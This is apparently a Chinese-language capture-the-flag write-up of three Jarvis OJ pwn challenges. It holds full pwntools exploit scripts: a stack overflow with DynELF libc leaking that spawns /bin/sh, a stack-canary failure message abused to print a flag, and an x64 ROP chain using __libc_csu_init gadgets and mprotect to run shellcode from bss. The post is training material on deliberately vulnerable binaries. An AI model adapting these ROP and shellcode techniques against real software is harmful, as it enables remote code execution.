0X00 level4-无libc的漏洞利用
这题下载文件下来,文件与level3反编译后伪代码基本一样,只是相比level3少了一个libc文件。level3
vulnerable_function()中存在明显的栈溢出,分配了0x88的空间,能输入0x100的内容。
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
同样以payload payload = 'a' * 0x8c + p32(elf.symbols['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) + p32(address) + p32(4)
可以泄露出函数的地址,但是在这没有现成的libc文件给我们利用来查找system函数的地址。
查阅资料后,这里可以用到pwntools的DynELF模块来应对无libc情况,具体可见【技术分享】借助DynELF实现无libc的漏洞利用小结。
DynELF的基本利用模板为:
p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址
我们要做的就是编写leak函数,利用leak函数来泄露函数的地址,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码。
首先文件应该满足泄露函数地址的要求,显然该题满足条件。
其次由于是在对方内存中不断搜索地址信息,故需要能够反复调用泄露地址的代码,我们在这可以将返回地址修改为该函数vulnerable_function()
的地址,重复调用漏洞代码。
于是可以写出exp:
from pwn import *
io = remote('pwn2.jarvisoj.com', 9880)
elf=ELF('./level4')
write_addr = elf.symbols['write']
vulner_addr = elf.symbols['vulnerable_function']
write_got = elf.got['write']
read_plt = elf.symbols['read']
bss_addr = elf.bss()
def leak(address):
payload = 'a' * 0x88 + 'a' * 0x4 + p32(write_addr) + p32(vulner_addr) + p32(1) + p32(address) + p32(4)
io.send(payload)
data = io.recv(4)
return data
d = DynELF(leak, elf=ELF('./level4'))
systemAddress = d.lookup('system', 'libc')
payload2 = 'a' * 0x88 + 'a' * 0x4 + p32(read_plt) + p32(vulner_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
io.send(payload2)
io.send('/bin/sh\x00')
payload3 = 'a' * 0x88 + 'a' * 0x4 + p32(systemAddress) + p32(0) + p32(bss_addr)
io.sendline(payload3)
io.interactive()
0X01 smashes-利用canary打印信息
下载文件,先检查一下保护机制,开得还挺多的。
反编译一下查看伪代码。
unsigned __int64 sub_4007E0()
{
__int64 v0; // rbx
int v1; // eax
__int64 v3; // [rsp+0h] [rbp-128h]
unsigned __int64 v4; // [rsp+108h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
if ( !_IO_gets(&v3) )
LABEL_9:
_exit(1);
v0 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
LABEL_8:
puts("Thank you, bye!");
return __readfsqword(0x28u) ^ v4;
}
_IO_gets(&v3)
处有输入点,且没有限制我们的输入长度,存在溢出点。
Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。
但是这题中是以gets
来进行输入,导致输入是以'/n'
结尾,无法将canary打印出来。
这里学习到了一种新姿势,故意触发canary的保护,利用报错来打印出我们想要的信息。
如果canary被我们的值覆盖而发生了变化,程序会执行函数___stack_chk_fail()
void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)
__libc_message 的第二个%s输出的是argv[0]
,argv[0]
是指向第一个启动参数字符串的指针.
如果我们的输入能覆盖掉argv[0]
,那么我们就能打印出我们想要的东西。
文件中还找到了一个疑似flag的东西
偏移量不会计算emmmmm,硬刚吧
from pwn import *
context.log_level = 'debug'
#io = remote('pwn.jarvisoj.com', 9877)
io = process('./smashes')
io.recv()
io.sendline(p64(0x400934)*200)
io.recv()
io.sendline()
io.recv()
当我们输入为0x400934
的时候,地址对应的字符串成功被我们打印出来了,但是吧地址换成之前找到的flag的地址时却没有得到flag。
在函数sub_4007E0()
最后还有一句代码
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
0x600D20
处的字符串被覆盖为0了,所以打印不出来。
查阅资料后,得知这里考的是ELF的重映射。当可执行文件足够小的时候,他的不同区段可能会被多次映射。也就是说该flag会在其他地方进行备份。
利用gdb的find找到了flag的备份处。
这里还有个小坑,在ida里面找到的flag是以CTF开头,gdb查找flag时找到的地址是0x400d21
,如果以这个地址找flag,拿到的flag的不全的,应该是0x400d20
,(其实也不算坑,毕竟64位下地址都是8的倍数,果然还是我菜
exp:
from pwn import *
context.log_level = 'debug'
io = remote('pwn.jarvisoj.com', 9877)
#io = process('./smashes')
io.recv()
io.sendline(p64(0x400d20) * 200)
io.recv()
io.sendline()
io.recv()
0X02 level5
mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。
mprotect()
函数
在Linux中,mprotect()
函数可以用来修改一段指定内存区域的保护属性。mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
int mprotect(const void *start, size_t len, int prot);
port:(读4,写2,执行1)
由于64位下函数传参前六个参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9 下,而一般不存在有关rdx的gadgets。
在学习了大佬的wp后学到了利用__libc_csu_init
的通用gadgets。
通用gadgets __libc_csu_init
的使用。
__libc_csu_init
函数是程序调用libc库用来对程序进行初始化的函数,一般先于main函数执行。
下面是__libc_csu_init
函数的汇编代码。
.text:0000000000400650
.text:0000000000400650 ; =============== S U B R O U T I N E =======================================
.text:0000000000400650
.text:0000000000400650
.text:0000000000400650 ; void _libc_csu_init(void)
.text:0000000000400650 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
.text:00000000004006B4
.text:00000000004006B4 ; ---------------------------------------------------------------------------
__libc_csu_init
其中两端特殊的gadget可以给我们利用。
gadget位于0x400690和0x4006AA两处。
0x4006AA处依次将参数存入寄存器rbx,rbp,r12,r13,r14,r15。
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
0x400690处依次将r13,r14,r15寄存器里的值放到rdx,rsi,edi处
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
在这还隐藏了两段gadget,可以利用错位码来得到
如上的例子中0x4006B2、0x4006B4两句的字节码如下
0x41 0x5f 0xc3
意思是pop r15,ret
,但是恰好pop rdi,ret
的opcode如下
0x5f 0xc3
因此如果我们指向0x4006B3就可以获得pop rdi,ret
的opcode,从而对于单参数函数可以直接获得执行(涨姿势了)
实现
现在我们有了mprotect改data段到可执行,利用通用gadgets __libc_csu_init
传参,可以将shellcode写到bss段,调用mprotect修改bss段权限,然后执行shellcode拿到shell。
下面是exp:
from pwn import *
io = remote('pwn2.jarvisoj.com', 9884)
#io = process('../level3')
elf = ELF('../level3')
libc = ELF('../libc-2.19.so')
rop1 = 0x4006A6 #pop_rbx_rbp_r12_r13_r14_r15
rop2 = 0x400690 #mov rdx,r13; mov rsi,r14; mov edi,r15d
vul_fun = elf.symbols['vulnerable_function']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
libc_start = elf.got['__libc_start_main']
mprotect_got = elf.got["__gmon_start__"]
bss = elf.bss()
rdi = 0x4006b3
rsi_r15_ret = 0x4006b1
io.recv()
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(1) + p64(rsi_r15_ret) + p64(read_got) + p64(0) + p64(write_plt) + p64(vul_fun)
# write(1,read_got,#) ret vul_fun
# 利用write函数泄露read函数的真实地址
io.sendline(payload)
read_addr = u64(io.recvn(8))
libc_base = read_addr - libc.symbols["read"]
mprotect_addr = libc_base + libc.symbols["mprotect"]
print "read_addr ==> "+hex(read_addr)
print "libc_base ==> "+hex(libc_base)
print "mprotect_addr ==> "+hex(mprotect_addr)
io.recv()
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(bss) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, bss, #) ret vul_fun
# 利用read函数向bss段写入数据
io.sendline(payload)
shellcode = asm(shellcraft.amd64.linux.sh(), arch="amd64")
io.send(shellcode)
# 向bss段写入shellcode
io.recv()
bss_got = elf.got["__libc_start_main"]
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(bss_got) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, bss_got, #) ret vul_fun
# 利用read函数把shellcode的bss段的地址读入到.got.plt段去
io.sendline(payload)
io.sendline(p64(bss))
io.recv()
mprotect_got = elf.got["__gmon_start__"]
payload = 'a' * (0x80 + 0x8) + p64(rdi) + p64(0) + p64(rsi_r15_ret) + p64(mprotect_got) + p64(0) + p64(read_plt) + p64(vul_fun)
# read(0, mprotect_got, #) ret vul_fun
# 利用read函数把mprotect的地址读入到.got.plt段去
io.sendline(payload)
io.sendline(p64(mprotect_addr))
payload = 'a' * (0x80 + 0x8) + p64(rop1) + "a" * 8 + p64(0) + p64(1) + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
#rbx #rbp #r12 #r13 #r14 #r15
#rdx #rsi #edi
# pop_rbx_rbp_r12_r13_r14_r15_ret
payload += p64(rop2) + "a" * 8 + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) + p64(rop2)
'''
mov rdx, r13
mov rsi, r14
mov edi, r15d
'''
# mprotect(0x600000,0x1000,7)
io.recv()
io.sendline(payload)
io.interactive()
Comments | NOTHING